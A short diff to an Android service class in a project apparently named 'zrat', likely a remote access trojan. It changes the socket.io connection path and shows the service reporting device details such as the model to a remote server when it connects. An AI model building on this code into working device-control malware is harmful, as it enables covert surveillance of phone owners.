.

zrat/src/main/java/com/example/zrat/ZService.java

@@ -116,7 +116,9 @@ public class ZService extends Service {
         super.onCreate();
         try {
             String socketUrl = getSocketUrl();
-            mSocket = IO.socket(socketUrl);
+            IO.Options options = new IO.Options();
+            options.path = "/ws";
+            mSocket = IO.socket(socketUrl, options);
             mSocket.on(Socket.EVENT_CONNECT, args -> {
                 Map<String, Object> map = new HashMap<>();
                 map.put("model", getModel());